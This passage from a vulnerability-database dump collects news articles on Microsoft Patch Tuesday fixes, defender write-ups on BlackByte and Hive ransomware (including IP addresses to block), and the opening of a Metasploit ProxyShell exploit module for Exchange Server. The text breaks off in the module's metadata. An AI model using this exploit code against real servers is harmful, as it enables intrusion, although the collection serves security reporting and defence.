Justin Knapp, Automox researcher. \u201cHowever, this approach requires that the attacker bait a user into visiting the maliciously crafted website.\u201d\n\nHe pointed out that OLE technology has frequently been used to mask malicious code within documents and for linking to external files that infect systems with malware.\n\n\u201cIn 2020, the CISA released an alert detailing the top 10 routinely exploited vulnerabilities, which identified Microsoft\u2019s OLE as the most commonly exploited technology by state-sponsored cyber-actors,\u201d he said. \u201cConsidering the prevalent exploitation of OLE vulnerabilities, including those that had been flagged years ago, organizations should immediately prioritize patching all outstanding OLE vulnerabilities.\u201d\n\n### **CVE-2021-28476**\n\nThe last critical bug is found in Windows Hyper-V, which is a native hypervisor that can create and run virtual machines on x86-64 systems running Windows. It can allow an attacker to execute arbitrary code, Knapp said: \u201cTo exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code when it fails to properly validate vSMB packet data. Successful exploitation could enable an attacker to run malicious binaries on Hyper-V virtual machines or execute arbitrary code on the host system itself.\u201d\n\nThat said, Microsoft noted that an attacker is more likely to abuse the bug for DoS attacks in the form of a system crash rather than RCE, Childs pointed out, which mitigates the vulnerability\u2019s CVSS score of 9.9.\n\n\u201cBecause of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5,\u201d he said. \u201cThat still rates as high-severity, but not critical. Still, the bug check [system crash] alone is worth making sure your Hyper-V systems get this update.\u201d\n\n## **Publicly Disclosed Vulnerabilities**\n\nChris Goettl, senior director of product management at Ivanti, told Threatpost that the biggest patching priority should be the publicly disclosed bugs \u2013 even though there is as yet no known malicious exploitation.\n\n\u201cThe top concern from the Microsoft updates this month is the update for Microsoft Exchange that includes the fix for [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), which made its debut in the [2021 Pwn2Own competition](<https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results>),\u201d he said.\n\nThe bug tracked as CVE-2021-31207 is only rated as \u201cmoderate,\u201d but the \u201csecurity feature-bypass exploit was showcased prominently in the Pwn2Own contest and at some point details of the exploit will be published,\u201d Goettl explained. \u201cAt that point threat actors will be able to take advantage of the vulnerability if they have not already begun attempting to reverse engineer an exploit.\u201d\n\nThere two other publicly disclosed vulnerabilities resolved by Microsoft this month that exist in Common Utilities, found in the NNI open-source toolkit ([CVE-2021-31200](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31200>)), and in .NET and Visual Studio ([CVE-2021-31204](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31204>)).\n\n\u201cCommon Utilities and .NET and Visual Studio are less likely to be targeted, but due to the public disclosures they should not be ignored for long,\u201d Goettl added.\n\n## **Other Notable Microsoft Security Patches for May 2021**\n\nAs for the other patches in the update that stood out to the research community, ZDI\u2019s Childs highlighted a Windows wireless networking information-disclosure bug, tracked as [CVE-2020-24587](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-24587>).\n\n\u201cThe ZDI doesn\u2019t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging,\u201d Childs said. \u201cThis patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It\u2019s not clear what the range on such an attack would be, but you should assume some proximity is needed. You\u2019ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.\u201d\n\n### **Windows Graphics, SharePoint Server Patches**\n\nA trio of local privilege escalation flaws \u2013 two in the Windows Graphics Component ([CVE-2021-31188](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31188>), [CVE-2021-31170](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31170>)) and one in SharePoint Server ([CVE-2021-28474](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28474>)) \u2013 caught Breen\u2019s eye.\n\nAs for the first two, he noted they could be chained with another bug, such as the wormable bug listed above, to become highly dangerous and allow for [WannaCry-style attacks](<https://threatpost.com/one-year-after-wannacry-a-fundamentally-changed-threat-landscape/132047/>).\n\n\u201cThis kind of vulnerability is often used by attackers after they have already gained a foothold through an initial infection vector, like phishing or via another exploit like the RCE in HTTP.sys (CVE-2021-31166),\u201d Breen noted via email. \u201cThe attackers are looking to increase their privileges so they can move laterally across a network or gain access to other accounts that may have access to more sensitive information.\u201d\n\nMeanwhile, the SharePoint bug allows an authenticated attacker to run code on remote SharePoint Servers.\n\n\u201cAs this is post-authentication, it\u2019s likely to be used as part of post-exploitation and lateral movement phases of an attack, rather than the initial-infection vector,\u201d Breen said. \u201cAttackers could gain access to sensitive documents or even replace real documents with weaponized versions, enabling the compromise of more user devices across the organization\u2019s network.\u201d\n\n### **Microsoft Exchange Server Patches**\n\nMicrosoft also patched four vulnerabilities in Microsoft Exchange Server. The flaws ([CVE-2021-31198](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31198>), RCE; [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>), spoofing; [CVE-2021-31209](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31209>), security bypass; and [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31195>), RCE), are all rated important or moderate.\n\n\u201cCVE-2021-31195 is attributed to Orange Tsai of the DEVCORE research team, who was responsible for disclosing the [ProxyLogon Exchange Server](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) vulnerabilities that [were] patched in an out-of-band release back in March,\u201d Satnam Narang, staff research engineer with Tenable, told Threatpost. \u201cWhile none of these flaws are deemed critical in nature, it is a reminder that researchers and attackers are still looking closely at Exchange Server for additional vulnerabilities, so organizations that have yet to update their systems should do so as soon as possible.\u201d\n\nAnd finally, Ivanti\u2019s Goettl noted that several Microsoft products have reached end-of-life and won\u2019t be getting support going forward.\n\n\u201cThis month marks the final update for several Windows 10 and Server editions, so make sure you have updated any systems to newer branches to avoid a disruption in security update coverage come June,\u201d he said. \u201cWindows 10 1803 and 1809 and Server 1909 all received their final update on May Patch Tuesday 2021.\u201d\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and **[**Register HERE**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)** for free. **\n", "cvss3": {}, "published": "2021-05-11T20:05:44", "type": "threatpost", "title": "Wormable Windows Bug Opens Door to DoS, RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24587", "CVE-2021-26419", "CVE-2021-28474", "CVE-2021-28476", "CVE-2021-31166", "CVE-2021-31170", "CVE-2021-31188", "CVE-2021-31194", "CVE-2021-31195", "CVE-2021-31198", "CVE-2021-31200", "CVE-2021-31204", "CVE-2021-31207", "CVE-2021-31209"], "modified": "2021-05-11T20:05:44", "id": "THREATPOST:A2FE619CD27EBEC2F6B0C62ED026F02C", "href": "https://threatpost.com/wormable-windows-bug-dos-rce/166057/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-07-13T22:17:17", "description": "Three bugs under active exploit were squashed by Microsoft Tuesday, part of its [July security roundup](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) of fixes for Windows, Microsoft Office, SharePoint Server and Exchange Server. In all, Microsoft patched 116 bugs. Twelve bugs are rated critical, 103 rated important and one classified as moderate in severity.\n\nBugs under active attack include a critical scripting engine memory corruption ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>)) flaw and two additional Windows kernel elevation-of-privilege vulnerabilities ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>), [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)), both with a severity rating of important. \n[](<https://threatpost.com/newsletter-sign/>)The hundred-plus bug fixes add to a rough July for Microsoft, which rolled out an out-of-band fix for a Windows print spooler remote-code-execution vulnerability ([CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>)), dubbed [PrintNightmare](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), earlier this month. The nightmare bug, first disclosed in April, was later discovered to be more serious than initially thought.\n\n## **Public, But Not Exploited **\n\nFive of the bugs patched by Microsoft ([CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-33781](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33781>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), [CVE-2021-33779](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33779>), [CVE-2021-34492](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34492>)) were publicly known, albeit not exploited. Only one of those bugs (CVE-2021-34473), a Microsoft Exchange Server remote code execution (RCE) vulnerability, has a severity rating of critical, with a CVSS score of 9.1. The bug, one of the highest rated in terms of importance to fix this month, was part of Microsoft\u2019s April Patch Tuesday roundup of fixes, according to commentary by [Cisco Talos](<https://blog.talosintelligence.com/2021/07/microsoft-patch-tuesday-for-july-2021.html>).\n\n\u201cThis vulnerability was already patched in Microsoft\u2019s April security update but was mistakenly not disclosed. Users who already installed the April 2021 update are already protected from this vulnerability, though it is worth noting that this issue was part of a series of zero-days in Exchange Server used in a wide-ranging APT attack,\u201d wrote Talos authors Jon Munshaw and Jaeson Schultz.\n\n## **Patching Priorities **\n\nThe most pressing of bugs is a memory corruption vulnerability (CVE-2021-34448) in Windows Server\u2019s scripting engine that is triggered when the user opens a specially crafted file, either attached to an email or a compromised website.\n\n\u201c[This bug] is the most serious vulnerability for me. It is elegant in its simplicity, letting an attacker gain remote code execution just by getting the target to visit a domain,\u201d wrote Kevin Breen, director of cyber threat research with Immersive Labs, in his Patch Tuesday commentary. \u201cWith malicious, yet professional looking, domains carrying valid TLS certificates a regular feature nowadays, seamless compromise would be a trivial matter. Victims could even be attacked by sending .js or .hta files in targeted phishing emails.\u201d\n\nCisco Talos advises system admin to prioritize a patch for a critical bug ([CVE-2021-34464](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34464>)) in Microsoft\u2019s free Defender anti-virus software. \u201cThis issue could allow an attacker to execute remote code on the victim machine. However, users do not need to take any actions to resolve this issue, as the update will automatically install. The company has listed steps in its advisory users can take to ensure the update is properly installed,\u201d wrote Munshaw and Schultz.\n\nResearchers have also identified three SharePoint Server bugs ([CVE-2021-34520](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34520>), [CVE-2021-34467](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34467>), [CVE-2021-34468](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34468>)) as priority patches. Each allow an attacker to execute remote code on the victim machine. All are rated important. However, Microsoft reports that exploitation is \u201cmore likely\u201d with these vulnerabilities, Talos said.\n\nZero Day Initiative\u2019s Dustin Childs recommends tackling ([CVE-2021-34458](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34458>)), a Windows kernel vulnerability. \u201cIt\u2019s rare to see remote code execution in a kernel bug, but this is that rare exception. This bug impacts systems hosting virtual machines with single root input/output virtualization (SR-IOV) devices,\u201d [he wrote](<https://www.zerodayinitiative.com/blog/2021/7/13/the-july-2021-security-update-review>).\n\n\u201cIt\u2019s not clear how widespread this configuration is, but considering this bug rates as a CVSS 9.9, it\u2019s not one to ignore. If you have virtual machines in your environment, test and patch quickly,\u201d Childs added.\n\nIn related news, [Adobe\u2019s July patch roundup](<https://threatpost.com/adobe-patches-critical-acrobat/167743/>), also released Tuesday, includes fixes for its ubiquitous and free PDF reader Acrobat 2020 and other software such as Illustrator and Bridge. In all, Adobe patched 20 Acrobat bugs, with nine rated important.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-13T21:26:27", "type": "threatpost", "title": "Microsoft Crushes 116 Bugs, Three Actively Exploited", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34464", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34520", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-13T21:26:27", "id": "THREATPOST:98D815423018872E6E596DAA8131BF3F", "href": "https://threatpost.com/microsoft-crushes-116-bugs/167764/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "trellix": [{"lastseen": "2022-02-28T00:00:00", "description": "\n\n# Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware\n\nBy Taylor Mullins \u00b7 February 28, 2022\n\nBlackByte Ransomware has been in the news of late due to a successful attack against a National Football League (NFL) Franchise and a Joint Cybersecurity Advisory by the Federal Bureau of Investigation (FBI) and the U.S. Secret Service (USSS) warning on breaches to the networks of at least three organizations from US critical infrastructure sectors in the last three months. BlackByte Ransomware is currently being offered to threat actors as a Ransomware-as-a-Service (RaaS) and makes use of PowerShell and Windows CLI commands to carry out various tasks such as network discovery, task scheduling and to create and disable Windows and security services.\n\nBlackByte Ransomware makes files inaccessible by encrypting them and generates a ransom note (the \"BlackByte_restoremyfiles.hta\" file) that contains instructions on how to contact the attackers for data decryption and other details. Also, BlackByte appends the \".blackbyte\" extension to the names of encrypted files. BlackByte does have worming capabilities and can infect additional endpoints on the same network.\n\n **Figure 1. MITRE ATT&CK Framework for BlackByte Ransomware**\n\n## Recommended Steps to Prevent Initial Access \n\nThe Joint Cybersecurity Advisory provides several recommendations to secure your environment against BlackByte that were gathered from their analysis of malware samples discovered in the wild.\n\n * BlackByte operators have been observed exploiting the following CVEs to gain initial access, patching is recommended to prevent exploitation.\n * [CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability\n * [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability\n * Blocking IP Addresses known to download additional payloads in BlackByte attacks prior to encryption: **185.93.6.31** and **45.9.148.114.**\n * Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity.\n * After gaining access to the service accounts some adversaries have utilized AnyDesk for lateral movement, monitoring for AnyDesk activity can be an early indicator of compromise if AnyDesk is not utilized or allowed by your organization.\n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Disable hyperlinks in received emails.\n\n[Joint Cybersecurity Advisory: Indicators of Compromise Associated with BlackByte Ransomware](<https://www.ic3.gov/Media/News/2022/220211.pdf>)\n\n## Trellix Protections and Global Detections\n\nTrellix Global Threat Intelligence is currently detecting all known analyzed indicators for this campaign.\n\n **Figure 2. Trellix Products detecting this threat globally. Source: MVISION Insights**\n\n## Blocking BlackByte Attacks with Endpoint Security\n\nTrellix ENS is currently detecting BlackByte Indicators of Compromise (IOCs) from the standpoint of signature detections and the malware behavior associated with BlackByte Ransomware attacks. The following Exploit Prevention Rule in ENS has shown success in stopping BlackByte samples due to BlackByte being Script-based. Trellix always recommends testing in Report Only Mode before blocking to confirm no false positives are being detected by this signature rule.\n\n### Exploit Prevention Signature ID 6207: ASR : File Download attempt by Scripts\n\n **Figure 3. Exploit Prevention Rule in ePolicy Orchestrator/MVISION ePO**  **Figure 4. MVISION EDR noting where Endpoint Protection (ENS) could have stopped specific techniques**  **Figure 5. Ransomware Detection Name and Observed Detections noted in MVISION Insights**\n\n## BlackByte Threat Intelligence from the Trellix Advanced Threat Research Team and MVISION Insights\n\nMVISION Insights will provide the current threat intelligence and known indicators for BlackByte Ransomware. MVISION Insights will alert to detections and Process Traces that have been observed and systems that require additional attention to prevent widespread infection. MVISION Insights will also include Hunting Rules for threat hunting and further intelligence gathering of the threat activity and adversary.\n\n### MVISION Insights Campaign Names: Cybersecurity Advisory - BlackByte Ransomware and JavaScript Malware Threat Landscape\n\n **Figure 6. Campaign Details, Analyzed Indicators of Compromise, and Detections**  **Figure 7. Hunting Rules for BlackByte Ransomware in MVISION Insights**\n\n## Detecting Malicious Activity with MVISION EDR\n\nMVISION EDR is currently monitoring for the activity associated with BlackByte Ransomware and will note the MITRE techniques and any suspicious indicators related to the adversarial activity. Several of the techniques outlined in the Joint Advisory that are observed with BlackByte are noted below, monitoring for this type of activity can point to activity associated with the Tactics, techniques, and procedures (TTPs) for BlackByte.\n\n **Figure 8. Network Connection to Known Malicious IP Address Associated with BlackByte**  **Figure 9. Enabling of remote registry for possible preparation of Lateral Movement**  **Figure 10. Deletion of Shadow Copy to inhibit system recovery**\n\nTrellix offers Threat Intelligence Briefings along with Cloud Security and Data Protection workshops to provide customers with best practice recommendations on how to utilize their existing security controls to protect against adversarial and insider threats, please reach out if you would like to schedule a workshop with your organization.\n", "cvss3": {}, "published": "2022-02-28T00:00:00", "type": "trellix", "title": "Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-02-28T00:00:00", "id": "TRELLIX:21227249912602DD6E11D3B19898A7FF", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html", "cvss": {"score": 0.0, "vector": "NONE"}}], "pentestpartners": [{"lastseen": "2023-05-15T15:16:47", "description": "\n\n### Why Now?\n\nHive is not a new problem. It first surfaced in 2021 but it\u2019s becoming a much bigger issue now. This is due to a growing number of affiliates and therefore attacks. 2022 has seen more widespread country and industry target interest too.\n\nRansomware growth in general is becoming a massive problem, so much so that these incidents now make up the majority of UK government [crisis management COBRA meetings](<https://therecord.media/ransomware-incidents-now-make-up-majority-of-british-governments-crisis-management-cobra-meetings/>).\n\n### What is Hive Ransomware?\n\nHive is ransomware-as-a-service (RaaS). It\u2019s maintained by dedicated developers with affiliates using it to conduct high impact ransomware attacks with far reaching consequences.\n\nHive is organised in such a way that they have customer service, help desk, and sales departments. Victims are even directed to log in to a portal to make payment, using credentials the attackers drop in one of the files they leave behind after an attack.\n\n### Who is this Threat Group?\n\nThe Hive gang is a Ransomware as a Service (RaaS) provider first identified in June 2021. Although relatively new, their aggressive tactics and ever evolving malware variants have made them one of the most successful RaaS groups of its kind.\n\nIt's claimed some big victims, for example [Tata Power just one month ago](<https://www.bleepingcomputer.com/news/security/hive-claims-ransomware-attack-on-tata-power-begins-leaking-data/>).\n\n### How are they targeting victims?\n\nPhishing emails are sent with malicious payloads (e.g. Cobalt Strike) to get VPN credentials, and then scan for vulnerable remote desktop servers for lateral movement.\n\n### What do they do once they're inside?\n\nIt's all about data exfiltration, with encryption of files on the network.\n\n### Why should I act now?\n\nCybersecurity experts largely believe Hive is allied with Conti. The Hive ransomware gang is just over a year old but has already allied with more traditional ransomware groups, promoting itself as one of the top three most active ransomware groups in July 2022.\n\nThe gang is more active and aggressive than ever, with the affiliates attacking between three to five organisations every day since the operation became known in late June 2021.\n\nOn 17th November 2022 the hacker group claimed responsibility of taking down a USA based health care provider. Hive appears to have demanded a ransom of $900,000. In exchange, the organisation would agree to delete all the data.\n\nTechRepublic amongst other outlets on the on 25th October 2022 named Hive Ransomware within the current top four most dangerous and destructive ransomware groups of 2022. Attacks from this gang alone jumped by 188% from February to March 2022, according to NCC\u2019s March Cyber Threat Pulse report. This ransomware variant was also one of the top four most observed in Q3 of 2022 it is expected to only get more prominent as more affiliates use RaaS with new vulnerabilities such as zero-day attacks to aid in initial intrusion.\n\nIn Q3 2022 Hive ransomware hit 15 countries, with the US and UK being the top targets, respectively.\n\nThe ransomware is super-fast, capable of encrypting 4GB of data per minute. Hive hires penetration testers, access brokers, and other threat actors who continue to develop the threat, techniques, and tactics.\n\nIn May 2022 the gang targeted Costa Rica when the country was reeling from a cyberattack by Conti. Only weeks after the Costa Rican president declared an emergency following that first ransomware attack Hive joined in and crippled the country\u2019s public health service, the Costa Rican Social Security Fund.\n\n### Has it really got more serious? Why should I be concerned?\n\nHive ransomware was last upgraded in July 2022, according to Microsoft Threat Intelligence Centre (MSTIC). Researchers noted that Hive migrated its malware code from GoLang to Rust last month. Rust offers memory, data type, thread safety, deep control over low-level resources, a user-friendly syntax, access to a variety of cryptographic libraries, and is relatively more difficult to reverse-engineer.\n\nThe July update also includes string encryption and more complicated encryption mechanisms that leverage Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305 (authenticated encryption with ChaCha20 symmetric cipher). Instead of embedding an encrypted key in each file that it encrypts, it generates two sets of keys in memory, uses them to encrypt files, and then encrypts and writes the sets to the root of the drive it encrypts, both with .key extension.\n\n### I run Linux so I'm OK, right?\n\nHive introduced Linux and FreeBSD encryption capabilities in October 2021. At the time ESET, who discovered these capabilities, clarified that the Linux variant of the ransomware was functionally inadequate compared to its Windows variant. 'Functionally inadequate' doesn't mean that Linux is safe though.\n\n### What have Hives core target industries looked like?\n\nThe industrials sector is still the most common target however hive have broadened their target victims to include energy, resources, agriculture, academic, educational, science institutions, car dealerships, financial, media, electronic distributers and healthcare. In November 2022 Q3, the Hive ransomware hit 15 countries, with the U.S. and the U.K. as the top two targets respectively.\n\n### What can be done to mitigate?\n\nBetter focus on preventing social engineering attacks, adopt defines-in-depth combination of policies, technical defences, and education for end users\u201d Human errors is currently responsible for 82% of data breaches according to Verizon\u2019s 2022 Data Breach Investigations Report.\n\nPatch patch patch! Monitor the CISA\u2019s Known Exploited Vulnerability Catalogue to identify weaknesses.\n\nHive is famously seeking targets using vulnerable Exchange Servers, with some of the critical vulnerabilities and inclusive patch information detailed below:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>) - Microsoft Exchange Server Security Feature Bypass Vulnerability\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>) - Microsoft Exchange Server Privilege Escalation Vulnerability\n\nImplement, develop phishing-resistant multi-factor authentication (MFA) technique.\n\nWhere SIEM or ELK Stack solutions are in force, develop the decoders and rules.\n\n### Hive is in my organisation, what happens now and what should I do?\n\nI strongly encourage organisations to start action now to mitigate and reduce the risk and impact of ransomware incidents. Below are areas to focus on when looking at your SIEM, EDR and monitoring solutions.\n\nOnce in your estate Hive ransomware will immediately start working on evasion detection, by executing processes. This is how you deal with it.\n\n**Hive behaviour:** Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Remove all existing shadow copies and stop the volume shadow copy services via vssadmin on command line or via PowerShell. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Delete Windows event logs, specifically the System, Security and Application logs. \n**Advice:** Make sure you are forwarding logs to an external source that cannot be moved to laterally by the threat actors, ensure logs are also replicated elsewhere or offline storage/backup is utilised which can later be restored.\n\nAlso, implement data backups and encrypt data at rest, also practice your recovery procedures with regular drills.\n\nQuickly isolate any infected devices to prevent the ransomware from spreading further throughout your network. To do this, IT administrators must have up-to-date knowledge of all assets in the organisation and the tools to easily manage them, depending on how far the attack is in progress it may be prudent to shut down affected machines immediately, if backups are not available a provider may be able to perform data carving on offline-disks however this is a long-winded process so concentrate on you most critical data assets.\n\nIf your data has been stolen, take steps to protect your company and notify those who might be affected. It is recommended to report the attack right away to the authorities who may have knowledge of other attacks and can aid in an investigation by sharing knowledge.\n\nContact us if you need help.\n\nThe post [Hive Ransomware is on the rise. How should you deal with it?](<https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-18T06:44:42", "type": "pentestpartners", "title": "Hive Ransomware is on the rise. How should you deal with it?", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-11-18T06:44:42", "id": "PENTESTPARTNERS:77A7D085A837F9542DA633DA83F4A446", "href": "https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-05-27T14:46:16", "description": "This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication, impersonate an arbitrary user, and write an arbitrary file to achieve remote code execution. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 versions before 15.0.1497.15, Exchange 2016 CU19 versions before 15.1.2176.12, Exchange 2016 CU20 versions before 15.1.2242.5, Exchange 2019 CU8 versions before 15.2.792.13, and Exchange 2019 CU9 versions before 15.2.858.9.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-21T00:00:00", "type": "zdt", "title": "Microsoft Exchange ProxyShell Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-21T00:00:00", "id": "1337DAY-ID-36667", "href": "https://0day.today/exploit/description/36667", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'winrm'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # 